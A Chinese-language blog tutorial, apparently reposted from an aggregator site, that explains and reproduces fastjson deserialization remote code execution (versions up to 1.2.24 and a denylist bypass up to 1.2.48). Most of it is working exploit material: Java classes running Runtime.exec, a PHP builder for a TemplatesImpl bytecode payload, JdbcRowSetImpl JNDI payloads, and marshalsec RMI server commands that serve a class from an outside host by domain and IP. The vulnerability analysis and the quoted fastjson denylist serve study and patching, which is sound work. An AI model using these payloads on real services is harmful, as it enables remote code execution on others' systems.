fastjson反序列化漏洞原理及利用
重要漏洞利用poc及版本
我是從github上的參考中直接copy的exp,這個類就是要注入的類
import java.lang.Runtime; import java.lang.Process; public class Exploit { public Exploit() { try{ // 要執行的命令 String commands = "calc.exe"; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exploit e = new Exploit(); } }
網上經常分析的17年的一個遠程代碼執行漏洞
適用范圍 版本 <= 1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
FastJson最新爆出的繞過方法
適用范圍 版本 <= 1.2.48
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";
預備知識
使用spring boot來搭建本次的環境,這樣對java的版本和fastjson版本的修改十分的輕松,選取的依賴如下
使用的是fastjson 1.2.24版本
寫一個像javabean一樣作用的類
這里直接用參考的一篇freebuf上的代碼了,作用很簡單,設置了age,username的設置和讀取,secret的讀取
package com.fastjson.demo; class Demo2User { private int age; public String username; private String secret; public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getSecret() { return secret; } @Override public String toString() { return this.age + "," + this.username + "," + this.secret; } }
fastjson的工作形式
fastjson的功能就是將json格式轉換為類、字符串等供下一步代碼的調用,或者將類、字符串等數據轉換成json數據進行傳輸,有點類似序列化的操作
首先介紹下序列化操作和反序列化操作需要的函數
| JSON.toJSONString(Object) | 將對象序列化成json格式 |
| JSON.toJSONString(Object,SerializerFeature.WriteClassName) | 將對象序列化成json格式,并且記錄了對象所屬的類的信息 |
| JSON.parse(Json) | 將json格式返回為對象(但是反序列化類對象沒有@Type時會報錯) |
| JSON.parseObject(Json) | 返回對象是com.alibaba.fastjson.JSONObject類 |
| JSON.parseObject(Json, Object.class) | 返回對象會根據json中的@Type來決定 |
| JSON.parseObject(Json, User.class, Feature.SupportNonPublicField); | 會把Json數據對應的類中的私有成員也給還原 |
對應測試的例子,代碼如下
public class Demo2test1 { public static void main(String[] args){ Demo2User demo2User = new Demo2User(); demo2User.setAge(10); demo2User.setUsername("sijidou"); String ser1 = JSON.toJSONString(demo2User); System.out.println(ser1); String ser2 = JSON.toJSONString(demo2User, SerializerFeature.WriteClassName); System.out.println(ser2); System.out.println("==========完美的分割線============"); Demo2User demo2User1 = (Demo2User) JSON.parse(ser2); System.out.println(demo2User1); Object demo2User2 = JSON.parseObject(ser2); System.out.println(demo2User2.getClass().getName()); Object demo2User3 = JSON.parseObject(ser2, Object.class); System.out.println(demo2User3); Object demo2User4 = JSON.parseObject(ser2,Object.class, Feature.SupportNonPublicField); System.out.println(demo2User4); } }
可以從上面簡單的函數介紹中看出,對于序列化成json格式,用JSON.toJSONString(Object,SerializerFeature.WriteMapNullValue)更加方便
而從json反序列回來,一般用JSON.parseObject()來實現
漏洞利用
對于?fastjson版本 <= 1.2.24的情況,利用思路主要有2種
- 通過觸發點JSON.parseObject()這個函數,將json中的類設置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并通過特意構造達到命令執行
- 通過JNDI注入
利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
TemplatesImpl類,而這個類有一個字段就是_bytecodes,有部分函數會根據這個_bytecodes生成java實例,這就達到fastjson通過字段傳入一個類,再通過這個類被生成時執行構造函數。
首選準備好poc,也就是之后會裝到_bytecodes里面的內容,本地測試是windows系統,所以直接彈計算器,用java運行一下,就會生成poc.class文件
package com.fastjson.demo; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class poc extends AbstractTranslet { public poc() throws IOException { Runtime.getRuntime().exec("calc.exe"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception { poc t = new poc(); } }
拿到這個文件,將其內容進行base64編碼,我拿vulhub上用php寫的exploit.php改了改
<?php $bytes = file_get_contents('poc.class'); $json = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["'.base64_encode($bytes).'"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'; echo $json;
同目錄下運行
準備下接受的代碼,我從vulhub上的fastjson項目進行修改的,使代碼更加簡潔,邏輯很簡單從post的body中的數據進行fastjson的序列化
public class Demo3{ public void init() { get("/", (req, res) -> "Hello World"); post("/", (request, response) -> { String data = request.body(); JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField); return "122"; }); } public static void main(String[] args) { Demo3 i = new Demo3(); i.init(); } }
運行下能夠成功觸發計算器
漏洞分析
debug跟蹤下堆棧看看發生了什么
最先肯定是傳入點JSON.parseObject(data, Feature.SupportNonPublicField);接口,這個漏洞利用方法必須要存在Feature.SupportNonPublicField設置(即允許private對象傳入)
接下來會到JSON類中,發現JSON.parseObject()其實是調用了JSON.parse()
下一步會進到這個函數里,是對可控長度變量的分析,這里也就是Feature.SupportNonPublicField的開啟識別
調用parse(String text, int features),繼續執行parser.parse()接口
之后進入DeafultJSONParser.java通過switch判斷,進入到LBRACE中
繼續跟進會調用deserializer.deserialze(this, clazz, fieldName)
進入了JavaBeanDeserializer.java中,這段主要是進行反序列化操作了
之后會進入到DefaultFieldDeserializer.java中調用setValue來設置參數了
設置參數是會調用FieldDeserializer.java中的setValue,已經可以看到Method方法,標志著這里觸發反射
前面的參數會不滿足if(method != null)的判斷,到outputProperties的時候,因為它是個類,存在method,于是進入if分支
最終到了觸發點,invoke
單步跟蹤2次,是對_bytecodes中的base64,對應的.class文件中的類進行還原,然后觸發構造函數中的代碼執行,觸發計算器
這里單步跟蹤2次時候沒有任何反應,之后發現是沒對com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類沒進行下載,并且沒有進行下斷點.....
那么在這個點繼續跟進,首先仔細看上面反射調用的方法com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
進TemplatesImpl類里面對getOutputProperties()下斷點
繼續跟蹤newTransformer()方法,看名字就是新生成一個Transformer
在第486行調用了getTransletInstance()方法,之后進入getTransletInstance()方法中
因為我們精心構造的exp里面沒有__class成員變量,所以會觸發defineTransletClasses()方法,跟進
進入后是對 _bytecodes字段進行base64解碼后還原這個class,之后就出來回到了getTransletInstance()
可以看到455行的translet被賦值成class.com.fastjson.demo.poc也就是我們構造的的poc類,在456行進行初始化的時候,觸發代碼執行
通過jndi注入
jndi是一個Java命令和目錄接口,舉個例子,通過jndi進行數據庫操作,無需知道它數據庫是mysql還是ssql,還是MongoDB等,它會自動識別。
當然rmi也可以通過jndi實現,rmi的作用相當于在服務器上創建了類的倉庫的api,客戶端只用帶著參數去請求,服務器進行一系列處理后,把運算后的參數還回來。
這里漏洞利用要明確思路:
攻擊者在本地啟一個rmi的服務器,上面掛上惡意的payload
讓被攻擊的目標反序列化特定的類,這個類最終會調用lookup()函數,導致jndi接口指向我們的rmi服務器上的惡意payload
利用方法
在本地掛上惡意代碼執行的類,本地復現到了實際中又因為要公網ip所以要重新部署,所以我這里就直接把惡意的Exp和rmi服務器都放在vps上了
準備Exp
import java.lang.Runtime; import java.lang.Process; public class Exp { public Exp() { try{ // 要執行的命令 String commands = "calc"; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exp e = new Exp(); } }
編譯一下
javac Exp.java
在本地啟動rmi服務器,這里推薦github上的一個項目marshalsec
https://github.com/mbechler/marshalsec
需要用maven進行生成jar包,進入marshalsec目錄后
git clone https://github.com/mbechler/marshalsec.git cd marshalse mvn clean package -Dmaven.test.skip=true
之后使用過的是這個包,可以移動到仍意目錄都可以
接下來就是啟動rmi服務器了,這里要做2個步驟
第一使用python的SimpleHTTPServer模塊在剛剛編譯好的Exp.class目錄下開一個web服務
python -m SimpleHTTPServer 8000
訪問下網頁是能看到的
之后利用marshalsec,啟動rmi服務,再開一個shell
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://mi0.xyz:8000/#Exp
萬事已經準備好了,接下來只要在被攻擊的目標(這里是本機)發送python進JSON.parse()就會觸發
import com.alibaba.fastjson.JSON; public class poc { public static void main(String[] args) throws Exception { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://134.175.147.161:1099/Exp\",\"autoCommit\":true}"; JSON.parse(payload); } }
成功彈出計算器
之前一直嘗試不成功,改了下jre的版本為1.8_102能夠觸發
1.2.25之后修復方案
在1.2.25之后,在ParserConfig.java中添加了public Class<?> checkAutoType(String typeName, Class<?> expectClass)過濾的函數
注意其中的這一段,如果類的名字開頭在deny名單里面,就直接拋出錯誤了
看看denyList的名單
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
最新fastjson繞過黑名單REC
- 此次漏洞危害范圍是fastjson?<= 1.2.48
vps上的準備方法和上面講到的jndi注入是一樣的,唯一的區別在于發送的payload不同,以下payload可以繞過黑名單校驗
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";
實現原理是利將JdbcRowSetImpl類加入到mappings的緩存,在JdbcRowSetImpl類進入黑名單過濾之前,fastjson會先看緩存里面有沒有這個類,有的話,就直接返回了。也就是沒有走進黑名單過濾,就結束了check
我們把上面的payload發送到fastjson?1.2.25版本中,走到了checkAutoType()的位置
進入函數,很明顯java.lang.Class不在黑名單內
順利通過
接下來會加載java.lang.Class類
跟進之后,在這里把JdbcRowSetImpl類付給了objVal變量
在這里將剛剛objVal的值賦值給了strVal
接下來調用了loadClass
跟進loadClass,首先查看JdbcRowSetImpl類是不是在mappings中
這里當然是不在的,因此把JdbcRowSetImpl類加入到該mappings中
之后在回到對JdbcRowSetImpl類的檢驗地方了
跟進進入,到這里會根據類名從mapping中取出對象,很明顯,剛剛是把JdbcRowSetImpl類是加入到mappings中的,因此是可以取出來
之后會根據取出的值是否為null進行判斷,通過下圖,已經看到在黑名單前,就返回了
之后可以看到類JdbcRowSetImpl已經過了該限制了
打一波,成功觸發
參考鏈接
總結
以上是生活随笔為你收集整理的fastjson反序列化漏洞原理及利用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 利用 Docker 搭建单机的 Clou
- 下一篇: [转]项目失败的经验